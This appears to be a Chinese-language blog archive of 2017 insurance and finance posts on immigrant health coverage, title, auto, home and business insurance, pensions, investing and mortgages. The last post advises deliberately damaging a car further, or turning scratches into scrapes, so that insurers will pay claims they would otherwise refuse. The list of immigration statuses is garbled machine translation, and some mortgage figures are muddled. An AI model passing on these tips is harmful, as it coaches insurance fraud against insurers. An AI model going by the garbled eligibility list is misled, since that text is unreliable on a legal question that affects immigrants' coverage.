        问:在同一家公司买车险和房屋险,有没有大的折扣?
        答:有。但有时,A公司优惠后的价格,可能比B公司的全价还要高,需要多加比较。

        2017-05-13 / by / in ,
        没绿卡能申请健康保险吗?

        很多人困扰自己尚未获得绿卡,可以是否申请奥巴马健保(可负担性健保)计划。没绿卡能申请吗?


        答:。只要符合健保网站上购买保险的合法身份人士,就可以申请“合法不等于有绿卡”,这是很重要的区分美国联邦政府对合法身份有很具体的界定,也许里面就有适合你的身份状态的。详细在健保网上的“移民状态和健保”(移民身份和市场),网址是:https://www.healthcare.gov/immigrants/immigration-status/。

        以下列举常见的符合购买保险的身份状态。

        ◆第一类:
        ‧永久居民卡,“绿卡”(I-551)
        ‧回美证(I-327)
        ‧难民旅行证件(I-571)
        ‧工作许可卡(I-766)
        ‧机读移民签证(临时I-551的语言)
        ‧临时I-551印章(在护照或I-94 / I-94A)
        ‧抵达/离境记录(I-94 / I-94A)
        ‧持未过期的外国护照抵达/离境记录(I-94)
        ‧未过期的外国护照
        ‧资格认定证明书的非移民(F-1)学生身份(I-20)
        ‧资格认定访问学者(J-1)状态(DS2019)
        ‧移民局通知书(I-797)
        ‧美国卫生及公共服务部(HHS)颁发的难民安置办公室(ORR)证明
        ‧难民安置(ORR)的资格证明信(如果18岁以下)
        ‧持有行政遣返令或出境驱逐的证明
        ‧由美国国土安全部发出的:行政遣返令
        按我号码(也称为外国人登记号或移民局号码)或I-94号码

        ◆第二类:以下移民状态的人士也有资格参保:
        ‧寻求庇护的人士
        ‧难民
        ‧假释进入美国
        ‧1980年前
        授予条件入境‧受虐的配偶,子女和父母
        ‧人口贩卖的受害者和他/她的配偶,子女,姐妹兄弟或父母
        ‧根据移民行业释义法律禁止状语从句:酷刑公约(CAT),驱逐被出境或暂缓去留的人士
        ‧非移民身份的个人,包括工作签证(如H1,H-2A, H-2B),学生签证,U签证,T-签证和其它签证,以及密克罗尼西亚,状语从句:马绍尔群岛帕劳的居民
        ‧临时保护身份(TPS)
        ‧递延强制离境(DED)
        ‧递延期动居身份(例如:儿童来美居留人士(DACA)不符合申请医疗保险的移民身份)
        ‧合法临时居民
        ‧由美国国土安全部发出的行政遣返令

        ◆还有:
        ‧有工作许可证的临时保护身份
        ‧特殊移民少年状态
        ‧贩运签证的受害者
        ‧调整为永久居民身份
        ‧庇护(申请庇护的人士有资格获得健保覆盖,但他们必须已获得工作许可或在14岁以下,并且提交申请至少180天以上)。

        2017-05-13 / by / in , ,
        购买房屋产区需要注意什么问题?

        购买房屋产区需要注意什么问题?

        A.除了二手房,新房也需要产权保险

        二手房转售次数多,产权纠纷很常见,买家最好购买产权保险。不过,开发商销售的新建房屋也可能拖欠建商工程款,或存在建筑准批准等法律问题。


        B. 贷款公司产权保险不等同于屋主产权保险

        贷款公司产权保险是为保护贷款公司而设立的。随着贷款金额的减少,保险理赔额也会减少。而当贷款还完后,产权保险也同时结束,所以屋主的权益不能获得充分保护。屋主产权保险则对屋主及其继承人终身有效。

        C.卖家居住时间短,买家也最好购买产权保险

        卖家即使在所卖房屋居住时间很短,也可能存在产权人变故,或签署过市政特殊土地使用协议等问题。此外,即使卖家居住期间内没有问题,其前任卖家也可能存在产权问题。

        什么是产权?

        产权实质就是财产权,基于房屋和土地产生的财产权就称为房地产产权。财产可以是有形的,即看得见的东西,如归我们所有的房屋、日常用品;也可以是无形的,如版权、专利权;还可以是特定的当事人之间特定的权利、义务关系,已租用房屋的人应当按期向房主交纳房租。

        2017-05-13 / by / in ,
        为何要买房屋产权保险

        购房过程中,房屋产权保险(Title Insurance)是保护房屋交易各方财产利益的一项重要保险。对买房人而言,产权保险能保障其购买的房产产权不存在瑕疵和法律纠纷;对卖房人来说,产 权保险可以帮助其支付因产权纠纷以及处理产权纠纷所引发的律师费、诉讼费等法律费用;对抵押贷款公司而言,产权保险可保障其所提供的贷款能完全实现。


        下面 是有关产权保险的一些重要知识,希望对您有所帮助:

        产权保险是什么?

        产权保险是房屋交易中,保险人(保险公司)与被保险人之间建立的具有担保性质的赔偿合同关系。简单地说,是由投保人一次性支付给保险公司 一定金额保费,保险公司承诺如果在其所做的产权核查报告(Title Report)中存在应记载而没有记载的产权瑕疵和纠纷,并给被保险人带来损失时,由其负责替投保人消除产权瑕疵,解决产权纠纷,或者由其在保险金额范围 内给予赔偿。

        产权保险一般分为两种,屋主产权保险(Owner’s Title Insurance)和贷款公司产权保险(Lender’s Title Insurance)。

        屋主产权保险是指,一旦发生产权纠纷,保险公司负责向买房人(即当前屋主)提供资金赔偿的保险。屋主产权保险通常由房屋交易时的卖房人为买房人支付,如果买房人(当前屋主)在签合同时没有提出该要求,也可自己单独购买。

        贷款公司保险是指,一旦发生纠纷,向买房人(当前屋主)提供资金的贷款公司,其所提供的贷款金额能够如期获得偿还。贷款公司产权保险一般都是买房人购买,而且通常是贷款机构要求必须购买的保险项目。

        产权保险保护什么?

        买家拥有产权保险后,如果房屋如果在以下法律规定,市政条例等方面存在问题,产权公司可以提供解决方案或进行理赔:

        A.房屋买卖合同签署人存在问题:

        如,签订合同时漏掉继承人或其他产权人,或房屋产权人出现变化但签约时卖家未告诉买家,或产权人有精神障碍问题等

        B.卖家在卖房过程中欺诈、作假、伪造文件:

        如,伪造地契(房屋证),贷款文件,房屋销售授权书等

        C.房屋设施违反市政条例:

        如,院外建有违章建筑,后院露台规格不符合市政规定等

        D.房屋存在未记录在案的特殊土地使用权和通行权:

        如,买家入住后,电力公司有权在房屋上方架设高空电线,矿业公司可在房屋所在地开采矿石,或市政可以征用该地铺设马路或建造医院等

        E.买家没能从卖家那里获得房屋勘测图而引起日后邻里界限纠纷

        F.房屋交易存在因律师造成的错误, 失职和欺骗

        G.房屋存有拖欠的税款、债务、或隐藏法律纠纷

        2017-05-13 / by / in ,
        一般的小型企业应该选择什么保险?

        小型企业保险

        问:一般的小型企业应该选择什么保险?
        答:小型企业有个保险就叫“ 小型企业保险。”(企业主政策),是为每年营业额在40以下万元的小型企业提供的保险
        如果需要雇佣员工,要买劳工险,残障险。就算企业主付给员工的是现金,也可以保到。


        问:装潢公司需要什么保险?
        答:需要三种:劳工险,残障险,装修责任险装修责任险比较复杂,有室内和室外之分,室内装修和室外装修的保险区别很大。

        问:如果家里办了一个企业,很多设备放在房间里,这些设备也可以算在房屋保险里面吗?
        答:不是,这是商业保险里面的东西。

        2017-05-13 / by / in ,
        怎样才能减少汽车保费?

        问:怎样才能减少汽车保费?

        答:可以参加DDC安全课(defensive driving course ),上6小时的课,会得到一个证书,有了这个DDC证书,汽车责任险可以省10%。此外,不同的保险公司价格也会有所不同,可以多比较几家保险公司。


        问:标准的汽车保险包括哪些?
        答:汽车保险很简单,最基本的第三者责任险(liability),如果因为司机的失误造成别人的损伤,保险公司会赔偿的。车辆发生事故,如果是全保的话,车子本身保险公司会负责修复,而车上的货款是由另一类保险来负责的。

        问:租车时可以用信用卡提供的保险吗?
        答:可以。纽约州法律规定,租车时并不需要买保险。只要租车人有汽车险,租车时,汽车保险自动就会保他。

        问:开电召车,保险需要多少钱?
        答:不同种类的电召车保险价格也不同。Car Service 比较贵,一般要5400元左右,uber比较便宜,3400元左右。

        问:游览车和大众交通工具应该强制投保乘客险吗?
        答:是的。大型游览车一旦发生翻车等事故,后果非常严重,所以会强制投保乘客险。

        问:如果别人撞到我的车,我是向对方的保险公司索赔,还是我自己的保险公司会赔?
        答:一般说,如果你有全保,不管是你撞到别人、还是别人撞到你,保险公司都会赔。如果是别人的错,保险公司帮你把车修好,但你的自付费会先扣掉,直到他从对方拿到自付费。
        如果你本人擅于交涉,你可以直接打电话到对方的保险公司,对方的保险公司会给你理赔。

        问:开车把过马路的行人撞了,当时因为情况不严重,双方都没有报案,司机给了对方300元就私下解决了。可是后来路人要求索赔,该怎么办?
        答:可以再放回保险公司。
        不建议私下解决。如果私下解决,一定要让对方写一封信,说明这个事故到此为止,不会再有别的诉讼,最好相互交换驾照,留下对方的相关信息。

        2017-05-12 / by / in , ,
        关于房屋保险

        关于房屋保险

        问:房屋保险都保些什么?
        答:火险是必须要保的,此外,闪电电击、冰雹、第三者故意破坏,这些都是最基本的。


        问:租住的房子发生火灾,谁来赔偿?
        答: 租客租房时,房子并不是租客的,所以房子有什么损伤,租客并不需要负责。
        但是有一种情况,比如房子漏水,可能损毁屋内的家具、衣服等,但这些并不包含在房屋保险内,所以很容易产生纠纷。租客保险可以解决这个问题。如果我是房东,会要求房客买这个租客保险。租客保险价格非常便宜,通常一间公寓100多元。

        问:公寓大楼已经有保险,为什么住户还要买保险?这些保险都保什么?
        答:大楼的保险(master policy),涵盖了大堂(lobby)、电梯等公共区域,自己住屋的保险一般都是需要自己来购买的,如橱柜、冰箱等受损时,可以获得理赔。

        问:买房子时,保险的自付费(deductible)是选高一些好,还是选低一些好?
        答:自付费低,相应的保险费就要高;自付费高,保险费就会低一些,所以应该请经纪人详细计算一下,再根据具体情况做决定。

        2017-05-12 / by / in , , , , ,
        在美国买房产保险的几个省钱窍门

        在美国绝大多数屋主都会买房产保险,许多房贷款银行会要求屋主在过户前买好房产保险。专家建议,屋主每年应该细读房产保险的细节,或许可以有机会省下一笔钱。


        因为在房贷付清前,房产实际上属于房贷银行所有,因此房贷银行为了要保护他们的产业,会要求屋主房产保险

        住在消防站附近可能偶尔会失眠,但许多屋主不知道这能降低他们的房产保险费。专家表示,临近消防站是保险公司计算房产保险费的因素之一。查看房产保险的细节和采取一些措施可以减少保险费。

        在一份针对1,001名消费者进行的民调显示,“旅行者保险公司”(Travelers Co.)发现,在2016年仅56%的受访者至少每年一次查看他们的房产保险细节,低于2015年的60%。该公司个人保险部门副总裁Angi Orbann说:“他们可能错过了许多节省保费的机会。”

        另一个简单的省钱方法是透过将多种保险捆绑(bundling)在一起。也就是说,向同一家保险公司买一个以上保险,例如:房产保险、汽车保险及租房保险等。insuranceQuotes在线保险公司调查发现,通过捆绑多个保险,消费者每年平均可以省下314美元。在一些州,捆绑折扣甚至更高,在路易斯安那州,消费者平均每年可以节省584美元。

        资深保险分析师亚当斯女士说,捆绑其他类型的保险,如寿险,也能获得优惠。“给一家保险公司更多的生意,他们越有可能给你折扣。”

        此外,改善房产品质,包括屋顶、门窗、电气或管道系统也可能有资格获得保费折扣。许多业主忘了通知保险公司他们将住家翻新。安装防盗系统,特别是那种会自动拨打电话给警察局或消防队的系统,可享受5%至10%的保费优惠。

        佛州一家房屋安检公司哈吉女士说,在佛罗里达和其他沿海州,如果屋主安装可减轻强风损坏的装置,如飓风百叶窗、耐冲击的门窗等,可能会有意想不到的收获。

        哈吉女士的客户托尼·比蒂在佛州的Boca Raton市拥有一栋22年屋龄的四居室房屋。在经过房产防风检查后,每年节省了2,400美元的保险费。比蒂女士表示,之前我们每年付6,000美元的保险费,丈夫要我想办法省点钱。

        不同的保险公司会有一些鲜为人知的保险费折扣,例如,屋主不吸烟、使用绿色家电产品或建筑材料等。

        2017-05-12 / by / in , , , ,
        如何处理您一次领到的整笔退休金

        退休金均分成定期领取的型态,离开公司后每年至少领一次,持续的时间可以是

        • 终生
        • 您和您的受益人的终生,或是
        • 十年或更长时间

        在这种情况下,20%的预扣税规则不适用。因此这方案适用于需要资金补充退休收入不足者。不过您收到的退休金要纳所得税。如果您选择将退休金分十年或更长时间提领,但是现在的年龄不到59岁半,则可能被扣10%的提前领取罚金。如果您已经在领每年的退休金,但少于十次,您预期每年(及此后每年)领取的退休金将被预扣20%的税金。为了避免这种情形,您可指示退休计划管理人将退休金直接滚存到IRA 中,然后建立一套提领计划,以避免10%的提早提领罚金。

        选择方案五

        有些退休计划可以让您以公司股票的形式一次提领退休金。如果您的退休金包含公司股票,将不受20%强制预扣税规定制约。不过您仍须纳正常所得税,如果年龄不到59岁半也仍要付10%的提前提领罚金。为了避免以上情况,您可要求退休计划信托者出售公司股票,在领到退休金后的60天内将其出售股票所得放进IRA 中。这样就可避免当年的所得税和提前领取的罚金。

        税赋陷阱

        在设计退休金提取策略时,请注意许多有关税赋上的可能陷。除了20%的强制性预扣税外,您还必须对所有税前收入提拨(pre-tax contributions)及其收益付所得税。如果您在59岁半前提领退休金,则还将面临10%的提前提领罚金,除非是因死亡或残疾而领出,或是采取定期定额提领方式领出。当然还有其它的例外情形。

        咨询专家再做决定

        小心选择您的退休金领取方式。您的决定可能影响到未来的退休生活,安排得当可能因此有个理想的退休生活,否则可能成天忙于应付基本生活花费。纽约人寿或是其业务代表不提供税务,法律或是会计方面的建议,您必须咨询专业顾问后再做决定。

        2017-05-12 / by / in ,
        充分利用您的退休金计划

        如果您和配偶有资格领取退休金,这笔退休金将在您的退休计划中扮演重要角色。不过退休金法律很复杂,您必须对公司的退休金有所了解,以确保获得应有的福利。

        退休金计划有两种型态。一种是确定福利计划,一般是由公司供应全部资金,并提供指定金额的福利,通常是退休前薪资的某个百分比,另一种是确定供款计划,由雇主和雇员共同供款。退休福利给付根据的是供款本身和供款多年来投资滋生的收入。


        有关退休金的问题

        如果您的雇主提供退休金计划,下面是您应向雇主聘用的员工福利专家提出的问题:

        • 领取退休金要具有什么资格?大部分的确定福利退休金计划,要求雇员符合年龄和服务年资的规定才能纳入该项计划。
        • 您的退休福利何时才真正属于您?换句话说,不管您是继续为同一雇主工作或是被裁员,被辞退,您的退休福利何时才属于您?
        • 您的退休金是如何计算出来的?何时开始领取退休福利?退休福利开始领取后,数额会增加吗?
        • 退休金有哪些付款方式?您可以选择一次付款而非按月给付吗?
        • 您的眷属在您过世后会获得保障吗?或是如果您的配偶先亡,您会获得保障吗?
        • 您预期能够获得多少退休金?该笔退休金是否将与社会安全金整合?(所谓整合意指,雇主将从雇员能够拿到的退休金数额中扣除相当于某个百分比社安金的数额)
        • 根据退休金计划,您何时能够退休?如果您提前退休或是过了65岁继续工作,您的退休金会受到影响吗?
        • 如果您因返校就读,生小孩,照顾年长亲人或是其它原因而暂时离开工作,您的退休金会受到影响吗?

        有关退休金的决定

        下面是有关退休金的三个重要决定:

        • 眷属保障。如果退休金已经完全属于您,根据退休金法,在您过世后,配偶可以自动定期领取您的退休金,这种方式被称做联合和存活配偶年金。如果您和配偶以书面方式同意放弃该选项,您可以选择雇主退休金计划中的其它选项。其中之一是所谓的终生年金,每月的给付虽然较联合和存活配偶年金为高,但因终生年金只付到您过世为止,所以您必须活得比配偶长,或是您配偶没有您或是您的退休金必须仍然能够应付生活开销。
        • 您可以选择一次付清全部退休福利或按月给付。
        • 税的处理。税与您领取退休金的方式有关。如果您是按月领取退休金,这些给付(除了您自己的供款)是要纳税的。如果选择一次提领全部退休金,您可能适用五年平均纳税特别条款,请向您的税务顾问咨询相关事宜。最后,当您开始评估退休给付,并开始策划其它的退休财务方案时,别忘记利用您的保险业务代表所提供的资讯。
        2017-05-12 / by / in
        把握“三不三要”原则 做个精明投资人

        很多人梦想一夕致富,然而获得财神眷顾的概率毕竟不高。对大多数人来说,脚踏实地工作挣钱,用积攒下来的钱投资理财,还比较实际一点。但是,如果投资策略错误,不但血本无归,还会损失惨重。


        《今日美国》报导,多媒体金融服务公司The Motley Fool提醒“三不三要”投资原则,做个精明快乐的投资人。

        1. 要购买负担得起的房子

        对很多人来说,为自己及家人购买一栋安家立业的房子,是一生中很重要的投资决定。买房不像买股票,这是一场涉及巨大金钱、时间和精力的投资。

        购买一栋超过财力负担范围的房子,会是一个非常糟糕的投资,可能陷入终日为还清房屋贷款奔波劳累的日子,被债务逼得只好转向信用卡借贷,但是这样只会更加恶性循环,很难摆脱还债压力。

        如果是需要贷款购屋,理财专家建议要将每月缴付的抵押贷款利息,限制在税前收入的28%以内。在财力不够时,宁可租房,也不要勉强买房。

        2. 要将至少收入的10%用在投资(越多越好)

        固定将至少10%的收入用于投资,长期坚持下去会带来巨大回报。

        首先,投资具有长期增长潜力的项目,几十年的复利,会得到很大的收益。

        其次,要维持能够支应几个月生活费用的储蓄账户,这样可以在紧急情况下,不至于依靠信用卡生活,而且可以节省不必要的利息支出。

        第三,积极储蓄,以增加生活调度的灵活性。

        3. 要长期投资并且每年检视一次

        要长期投资,即采用买入持有(Buy and Hold)策略,不去理会市场的波动,一段时间会得到特定的收益率,而且不用花太多的时间及精力。然而,这并不意味着在未来30年内都不去管它。

        至少每年检查一次投资组合,以决定收益是否达到满意程度,或者有必要重新调整投资项目,舍去收益不高或者不再符合需要的投资。

        4. 不要期待能算准投资时机

        大家都想抓住市场正确投资时机,在股市低点买进,高点卖出,也有人想要通过赢得乐透赚大钱,但这些都不是健全投资的好方法,因为没有人可以精准预测股市的波动。另外,频繁进出股市,每次交易都必须支付佣金及税金,吃掉投资收益。最佳的方法是坚持购买高质量的投资并且长期持有。

        5. 不要将所有的钱都放进银行

        有人将所有的钱都存入储蓄账户,这样银行会高兴,但是长期下来,通货膨胀会让你的储蓄变少了。长期而言,通货膨胀率平均为3%左右,也就是说,投资收益最好是在3%以上,才是有效的投资。

        现在银行储蓄存款利息远低于3%,把所有的钱都放进银行,存得越久,反而财富变得越少。因此只要在银行账户维持可以支应日常生活开销以及足够的紧急预备金即可,多余的钱用来投资退休账户或其它投资理财组合。

        简单的数学范例,会让你看懂。如果在储蓄账户存1万美元,假设利息是1%,20年内后这个账户会增加到12,202美元。如果将这个1万美元投资每年收益率达7%的退休账户,20年后账户内金额会增加到38,697美元。

        6. 不要毫无目标

        有想过未来10年要有多少财富吗?或者20年? 如果没有目标,将很难规划储蓄计划,这意味着是将手中的钱抛出门外,而不是利用它来获得更大的财富。相反,如果有设定合理的财务目标,并按部就班地去完成,长期下来会得到意想不到的结果。

        如果想要在五年内有足够的储蓄支付购买的头期款,或者在30岁以前成为百万富翁,那么就坐下来,好好地精打细算,做好理财规划,并且依计划逐步达成,这样一定会梦想成真。

        2017-05-12 / by / in , , ,
        如何买到便宜汽车保险

        现在市面上有许多各类价格的汽车保险,如何选择﹖如果你买了新车或是原有的保险要更新,美国保险资讯研究所(Insurance Information Institute, 简称I.I.I.))建议,你不妨到处询问一下,或许能找到较便宜的汽车保险。


        I.I.I.警告大家,汽车的责任保险(Liability coverage)不仅仅是美国法律规定需要购买,而且是很重要的一项保险。因为当车祸发生时,此项保险是用于赔偿无罪对方的损失,包括身体和物质以及法律上所必须的费用。因此消费者应该花时间了解自己汽车保险的条款,不仅能省钱而且能保护自己。

        美国国家消费者同盟(The National Consumer League)的执行长莎丽(Sally Greenberg)说:买保险就和买其他的物品一样。要到处比较价钱、质量以及服务。

        以下是美国保险资讯研究所提供的九项购买汽车保险省钱的方法﹕

        一、买车前先比较保险费用

        汽车保险费用的高低取决于车子的价钱、修理费、安全指数和被偷窃的频率。因此买车前先查询一下这些资料会有帮助。如果你的车子安装了防止被偷的设备,或有车祸时帮助减少受伤的设备,许多保险公司也会给你特殊的减价。

        车种被偷的频率越多者保险费越高,可以去美国国家保险犯罪局(National Insurance Crime Bureau)去查询那一种车是小偷的最爱。你也可以去高速公路安全的保险研究院(Insurance Institute for Highway Safety)查询那一种车保险公司赔款最多﹐赔得越多者保险费就越高。

        二、要求较高的自付费额(deductible)

        自付费用一般由250美元 提高到1000美元,可以使您的保险费减少15%到30%。一般平均每11年到12年才出一次车祸。

        三、旧车的保险涵盖范围可以少些

        旧车可以不必全保﹐付太高的保险费就花不来了。

        四、房子与车子的保险都向同一家公司买

        一般公司对购买多种保险的消费者会提供折扣。

        五、维持良好信用

        信用好的人保险公司认为通常较少出车祸,因此保险费就可能低一些。

        六、维持良好的驾驶记录

        许多年不出车祸、没拿交通罚单或者上过安全驾驶课者,也可能保险费会低一些。

        七、维持低里程

        有些保险公司给每年开车里数很低的人,或是与他人一起开车上班的人的保险费也较低。

        八、询问其他的减价方法

        例如团体购买保险是否有优惠,一般学生上过正规驾驶课的保险,也较便宜。

        九、到处比价

        最好询问三家保险公司,不要只注重价钱而忘了询问他们的服务。可以在亲朋好友之间打听,也可以去政府询问那些保险公司的名声,然后才作出决定。

        2017-05-12 / by / in , , ,
        纽约做生意必买的四种商业险

        在纽约的华人,多数会投资一些钱到生意上,不管做什么生意、开什么店,发生火灾、客人摔倒、被人告这些事情都是在所难免的,发生这类事情的时候,保险是守住投资和财富的最后一道门。为此,《移民法律》专刊采访了商业保险行业的资深人士杨再励先生,杨先生指出,在纽约做生意有四种保险是一定要买的,而且买保险还要考虑自己是哪一行。


        四种保险不能省

        杨先生指出,火险和责任险是一定要买的,如果有银行贷款,银行会要求买这两种保险。如果是租的房子,房东也会要求商家店主购买,当然如果华人当房东,也一定要记住让商家店主买上这两种保险。还有两种保险是纽约州政府规定要买的,包括劳工保险和伤残保险。

        ●火险

        火险保的不只是“火”灾,台风把房子吹坏了,屋里漏水了,汽车把店面撞歪了,都是火险的赔偿范围之内。火险按涵盖的内容不同分为三种:基本式(Basic Form),火灾、雷击、台风吹掉房顶、漏水、被汽车撞坏了房子都属于基本式的覆盖范围内。扩大式(Broad Form)则包括漏水引起店里的损失。特别式(Special Form)还包括偷险,但要求店里装中央警报系统才会赔付,乡下地方野生动物跳到家也属于特别式赔付的范围。

        在火险里面,有一个选项“生意损失险”建议要加上,如果发生火灾商店要关门一段时间,生意损失险就能用上了。

        ●责任险

        行人在过道摔伤、客人到餐馆吃东西咬到石头把牙齿咬坏、或者客人在店吃东西导致食物中毒,这都属于责任险投保的范围。买责任险时,如果过道不平,保险公司一定会让投保人修平,不然保险公司不会赔付。在责任险中,杨先生提醒华人要特别注意两个险种:一是产品责任险,价格很便宜,但很管用,比如客人到餐厅吃东西食物中毒,就可以用产品责任险。还有一个是人身攻击险,华人开超市、零售店,如果有人来偷东西,店员不懂法律把小偷抓起来、扣押,都有可能会被告人身攻击。华人店主也要培训员工,遇到这种情况不要骂人、打人、扣押对方,只能尽可能拍下照片报警。

        ●劳工保险

        劳工保险是纽约州政府规定雇主一定要替员工投保的,如何雇主不保劳工保险,政府查到就会罚款。华人请人做工的话,员工因工作发生意外受伤或疾病的医疗费及薪金损失,都可以向保险公司索赔。最近,杨再励保险事务所有一个客人,是在超市工作时切肉切断了尾指,医疗费、薪水都可以向保险公司索赔。劳工保险用得最多的是建筑工地,建筑工人受伤用的情况比较多,这是在这个行业投资的人要特别注意的。

        ●伤残保险

        伤残保险是雇主出钱来保员工万一失去工作能力,无法上班时,员工可以得到薪金的补偿。补偿是周薪的一半,最高不超过每周170元,为期六个月,从伤残的第二个星期开始补偿。伤残保险也是纽约州政府规定必须买的,保费和男、女员工的比例有关,因为女员工怀孕是最常见的赔付对象,员工住院开刀、住院不能上班,也是伤残保险覆盖的范围。

        行业不同 保险也不同

        杨再励先生告诉记者,华人在不同的行业做生意,也要知道不同行业投保的一些常识。比如干洗店,如果出现火灾,客人的衣服是不在保险公司赔付的范围之内,所以干洗店需要单独买一个受托人代客保险(Bailee)。需要拿酒牌经营的(洗衣店、干洗店也一样)要买酒牌bond才能拿到牌,清理油烟机的除了责任险还要买火险才能拿到许可。

        在所有行业里面,建筑行业是比较覆杂的,杨先生表示,建筑行业的保险必须要“量身定做”,不同的人(地主、大包、小包)要买的保险也不同,所以这一块最好是咨询专业的保险代理。

        2017-05-12 / by / in ,
        房地产贷款名堂多 勿用人情当合约

        曾有一位颇有成就的华商通过笔者买进一栋3家庭的居住用独栋楼,在贷款时他拒绝了我提出的帮助。他说自己在某华资银行有公司的户头、金额不小,而且认识银行里的贷款小姐,又是同乡,所以找该同乡来辨理贷款应该没问题。


        在乐观其成之余,我有特别提醒他,贷款时要和银行签收费合约-因为银行除了收点数(Points)外,还可能有其他杂七杂八的费用-用合约写死费用,可免得到时措手不及。可惜该华商没有听进去,在买卖交割时,帮他处理贷款的同乡突然拿出一张纸,上面打满了额外收费,加起来好几千块。华商很不解,问那位同乡,你不是在银行工作吗?怎么也拿中介费?

        尽管心里气不过,但是算了笔账,如果不交这笔多出来的费用、银行不会给贷款,房产就不能过户,那么前期已交纳的买房费用(金额高于贷款收费)就泡汤了,所以最后也只得忍痛给了银行收费、乖乖结案过户。

        这个教训是因为他不清楚银行的贷款收费、误用人情当规矩的结果。不管是办理贷款的公司,或者是银行的贷款专员,本质上是中介,有的中介是两边拿钱,只是贷款者不知道而已。为了保护自己,和中介(包括银行在内)先签收费协定,不得有另外费用才是上策。另外,和银行谈利率谈费用,最好有几家银行做比较。银行费用和中介费用,通通要求写清楚,并且有签名拿到手,才是上上策。下面我们说一说美国的房地产贷款。

        和银行谈利率谈费用,最好有几家银行做比较,然后把银行费用和中介费用通通要求写清楚。(Fotolia)

        房地产贷款的收入条件 

        美国房地产贷款有两种:居住用(Residential)和商业用(Commercial)。中文翻译会误导此两种类别,因为房地产贷款就居住用而言,指的是自己居住使用,如果是买了第二个居住用,不管是合作公寓或共有公寓或独立住宅,就和商业用贷款性质相同,都属于投资(Investment)。

        第一,对个人居住用房地产贷款额上限是45%,并要求贷款额不能超过个人未扣税前总收入的45%。例如如果个人年收入是一百万,那么年贷款额最多是45万。

        第二,商业用房地产的贷款额不能超过未扣除开销总收入的28%,这个条款也适用于前面所提到的投资用居住贷款。

        房地产价值和贷款的关系 

        第一,房地产贷款不是以买卖价格来决定业主能贷多少。你能从银行贷到的款项是以银行聘请的有州政府执照的估价师估价为准。例如你的买价是90万,而估价师说此房产值100万,那么在你付头款10万后,你只用从银行贷80万。我们把贷款和估价师所估价值的此例(80%)称为 Loan to Value Ratio。但并不是说你交了头期款就能贷成,还要看前面所提的收入条件是否符合。

        第二,如果你的买卖价格高出估价价格,那对买方而言,你的自备款要求高于20%。目前虽然房市兴旺,贷款银行仍然受到联邦政府的限制-2008/2009经济大衰退(The Great Recession) 后的金融改革方案有相关规定。

        第三,在商业用(投资用)贷款是用负债和收入的比例来计算(DCR,Debt Coverage Ratio)。如果贷款和房地产租金收入相同就是 1:1,当然这种一比一,是贷不到的。至少是1:1.25,即收入高于付款的25%才行。

        贷款年限和提前还款规定 

        第一,自用的居住房地产贷款年限最多是30年,商业用(包括投资用的)变化比较大,可以贷到40年。有一种商用贷款是只付利息的,一般至多10年,至少一年。

        第二,贷款期限未到,要提前还款,可能要交纳部分罚款。原文是Prepayment penalty 或Prepay penalty。商业用(包括非自用投资性的居住房地产)罚款一般用渐减式的(Sliding Scale),以年度计算渐减。

        自己居住的住宅可以在期限未到前付完,不会罚款。2009年金融危机之后,联邦政府对贷款有很多保护贷款人的规定。非自住的贷款也可和贷款银行签约时谈判,要求没有先付款的罚款条款。

        贷款利率的规定 

        第一,自住用的房地产贷款,在2009年后的金融改革获得更好更多的保护规定,尤其是针对贷款银行的利率浮动。自住的房地产贷款是根据联准会(Federal Reserve,相当于中央银行)所公布的利率再加上银行的点数(Point),就变成贷款利率。例如联准会公布1.5%利率,加上银行1.5个点,那自住的房地产贷款利率可能是3%。

        第二,商业用(包括投资性的居住性质)房地产贷款,利率一般是自居用房地产利率的两倍以上。当然联邦有最高利率的限制,如果贷款银行认为风险高,那贷款利率就高。商业用租金收入高于贷款付款,再加上如果拥有者贷款低于估价的60%,那在贷款利率上,就能和贷款银行要求较低的利率。

        2017-05-12 / by / in , ,
        汽车保险怎样买划算 教你三个省钱小技巧
        有些4S店要求在店内上保险作为提车条件,一些新车主出于无奈或不熟悉车险,因此只能听从,他们推荐咱上什么咱就得上什么,不仅保的险种多,费用还高。不过在第二年,车主有了自己的选择权,可以通过电话或网上车险的方式来进行投保。


        由于这两种投保方式省去了中间环节,而且保险公司还长期推出一些优惠活动,因此价格要比4S店更划算。但凡是都有利有弊,在4S店上保险是可以享受直赔服务的,如果不是的话,4S店可能会拒绝给你提供保险直赔服务,这时就需要自己到定损中心定损。

        汽车保险怎样买划算教你三个省钱小技巧

        哪些险种必须买?

        交强险:

        这个不必多说喽,这是我国的强制保险。是当发生事故时,赔给被撞的一方的,并且赔款金额是有限的。限额共计12.2万元。这在面临一些较大事故时远远不够。

        第三者商业责任险:

        三者险是交强险的补充,也是赔付他人,它对于超出交强险赔偿限额部分,由保险公司负责赔偿,所以说车友们尽可能同时投保交强险和三者险,这样在发生重大交通事故的时候有个担保。

        车损险:

        前面两个险种都是用来赔付他方的,而车损险是用来赔付被保险人自己的。

        这里小提示两点:单独的部件损坏是不赔的,遇到这种情况可以试着加下工,把单独变成多部位受损;改装、车内物品损失以及水淹、地震造成发动机损失是不赔的。

        汽车保险怎样买划算教你三个省钱小技巧

        这些险种可以考虑不买

        划痕险:

        一般的车子就不必买划痕险了,2000额度划痕险保费400块,5000额度的是800块。且出险一两次自己去4S店修也就1000块钱吧,在外面修还便宜。且划痕险多次叠加限额的,还影响第二年费率。

        那车子划花了咋办?变划痕为擦痕,哪个部位划花了试试刮擦下那个部位,报车损险赔付。

        自燃险:

        质保期内车辆自燃是由厂家质保负责的,即使你买了这个险,也属于重复投保,没意义。保修期过了就一定得买吗?也不一定。建议是根据车况来,一般4-5年后由于线路老化,使用环境恶劣的可以考虑买自燃险。

        附加险不计免赔险:

        不计免赔的意思是把本该车主承担的20%转移给保险公司。不计免赔分为基本险和附加险,前者针对车损险、三者险等基本险独立生效;后者统一对汽车附加险生效。基本险的不计免赔还是挺有用的,建议购买,而附加险也没有特别推荐大家去买,附加险的不计免赔就算了吧。

        汽车保险怎样买划算教你三个省钱小技巧

        买车险的3个省钱小技巧

        一、网站直投划算些

        细心的车友应该早发现了,如果通过一些中介机构,如车行、代理公司、经纪公司销售产品,比直接在保险公司要贵。确实,后者实际上比前者费率低15%呢,而且现在网站投保越来越完善,经常还有一些促销活动,所以较直接网站投保或会更划算。

        二、第三者保额200块≈50万!

        一旦发生车险理赔,三者险对人、车、财产的赔偿金额很高,建议三者险的额度尽量能够买到50万元,而其实保额从50万元买到100万元,保费只增加200元~300元,真遇上事儿你就知道多有用了。

        三、交强险到期及时续保

        如果交强险到期不及时续保,要多交保费的。建议提前5-10天续保为好,太早也没有必要。

